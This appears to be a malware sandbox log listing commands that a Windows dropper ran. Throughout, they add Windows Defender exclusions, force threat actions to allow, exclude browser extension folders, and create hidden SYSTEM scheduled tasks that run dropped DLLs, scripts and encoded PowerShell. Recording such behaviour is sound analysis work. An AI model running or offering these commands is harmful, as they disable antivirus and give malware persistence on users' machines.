- '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True"
- '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True
- '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
- '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
- '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows De...
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814523 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814523 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147914824 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147914824 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147849223 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147849223 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147943523 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147943523 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147941867 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147941867 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147948977 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147948977 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147961240 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147961240 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"%ProgramFiles(x86)%\AfDgxnpTXWshC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Mic...
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\AfDgxnpTXWshC" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\AfDgxnpTXWshC" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\AfDgxnpTXWshC" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\EDdFlBGEU" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\EDdFlBGEU" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\HydogoOeOqUn" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\HydogoOeOqUn" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\fOlrXowzhCMU2" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\fOlrXowzhCMU2" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\rOWINEzxVxieLVTOQxR" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\rOWINEzxVxieLVTOQxR" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %ALLUSERSPROFILE%\lWhdEfLUbekzNDVB /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %ALLUSERSPROFILE%\lWhdEfLUbekzNDVB /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %TEMP%\zGEBXbyyaNJVsYril /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %TEMP%\zGEBXbyyaNJVsYril /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\ALxNhOzUrrwZd2 /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\ALxNhOzUrrwZd2 /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\HfMklEJrkLMgRB /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\HfMklEJrkLMgRB /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\JUqncHWQcHxiMSd /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\JUqncHWQcHxiMSd /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\JUqncHWQcHxiMSd2 /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\JUqncHWQcHxiMSd2 /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\eZldxqNjPNxblviTF2 /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\eZldxqNjPNxblviTF2 /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\mGvERSdAZCLuhIYcJXm2 /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\mGvERSdAZCLuhIYcJXm2 /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %WINDIR%\Temp\MDUUJioQNvfKUcLA /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %WINDIR%\Temp\MDUUJioQNvfKUcLA /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "gRPyRbgGn" /SC once /ST 12:25:05 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "gRPyRbgGn"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
- '<SYSTEM32>\gpupdate.exe' /force (со скрытым окном)
- '<SYSTEM32>\svchost.exe' -k LocalSystemNetworkRestricted -p -s fhsvc
- '<SYSTEM32>\svchost.exe' -k LocalSystemNetworkRestricted -s WPDBusEnum
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "gRPyRbgGn"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "eIWdtptnIxQcSKXOf" /SC once /ST 09:52:17 /RU "SYSTEM" /TR "\"%WINDIR%\Temp\MDUUJioQNvfKUcLA\IZWMNWovzEWaJcj\MNiOtJw.exe\" ZI /S" /V1 /F
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "eIWdtptnIxQcSKXOf"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "bjYAlchVbzljdZMbps"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TR "cmd /C if exist \"%ProgramFiles(x86)%\EDdFlBGEU\GGHSjX.dll\" rundll32 \"%ProgramFiles(x86)%\EDdFlBGEU\GGHSjX.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "JUqncHWQcHxiMSd" /V1 /F
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "JUqncHWQcHxiMSd2" /F /xml "%ProgramFiles(x86)%\EDdFlBGEU\ejuAcru.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "JUqncHWQcHxiMSd"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "JUqncHWQcHxiMSd"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "HfMklEJrkLMgRB" /F /xml "%ProgramFiles(x86)%\fOlrXowzhCMU2\dXJRzMY.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "ALxNhOzUrrwZd2" /F /xml "%ALLUSERSPROFILE%\lWhdEfLUbekzNDVB\xMpIwkt.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "eZldxqNjPNxblviTF2" /F /xml "%ProgramFiles(x86)%\rOWINEzxVxieLVTOQxR\lYcGBGc.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "mGvERSdAZCLuhIYcJXm2" /F /xml "%ProgramFiles(x86)%\AfDgxnpTXWshC\cGPMznH.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "xBIsIuStKJmFRMmtN" /SC once /ST 04:49:05 /RU "SYSTEM" /TR "rundll32 \"%WINDIR%\Temp\MDUUJioQNvfKUcLA\bywBHbnw\ZEGMQqU.dll\",#1" /V1 /F
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "xBIsIuStKJmFRMmtN"
- '<SYSTEM32>\rundll32.exe' "%WINDIR%\Temp\MDUUJioQNvfKUcLA\bywBHbnw\ZEGMQqU.dll",#1
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "JWoFd1" /SC once /ST 16:00:09 /F /RU "user" /TR "\"%ProgramFiles%\Mozilla Firefox\firefox.exe\""
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "JWoFd1"
- '%ProgramFiles%\mozilla firefox\firefox.exe'
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "xBIsIuStKJmFRMmtN"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "JWoFd1"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "itppvnunNvwJ0" /SC once /ST 15:54:00 /F /RU "user" /TR "\"<SYSTEM32>\wscript.exe\" \"%TEMP%\zGEBXbyyaNJVsYril\WgaJsJdX\VwSkGzG.wsf\""
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "itppvnunNvwJ0"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "itppvnunNvwJ0"
- '%WINDIR%\syswow64\cmd.exe' /C forfiles /p <SYSTEM32> /m help.exe /c "cmd /C powershell -WindowStyle Hidden sleep 10& WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension...
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "eIWdtptnIxQcSKXOf"
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m help.exe /c "cmd /C powershell -WindowStyle Hidden sleep 10& WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=T...
- '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden sleep 10& WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden sleep 10
